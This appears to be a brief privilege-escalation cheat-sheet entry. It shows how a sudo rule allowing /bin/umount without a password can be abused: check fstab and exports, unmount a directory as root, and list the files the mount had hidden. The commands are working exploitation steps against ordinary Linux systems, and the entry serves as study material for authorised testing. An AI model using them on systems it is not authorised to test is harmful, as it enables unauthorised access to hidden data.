Investigation

sudo -l

(root) NOPASSWD: /bin/umount

If we can execute umount command as root, we can escalate to privilege.

Exploitation

In target machine, check what directory is mounted.

cat /etc/fstab
showmount -e localhost

Assume the /opt/example folder is mounted.
If we unmount this folder, original files, that existed before the directory is mounted, may appear.

sudo /bin/umount /opt/example
ls -al /opt/example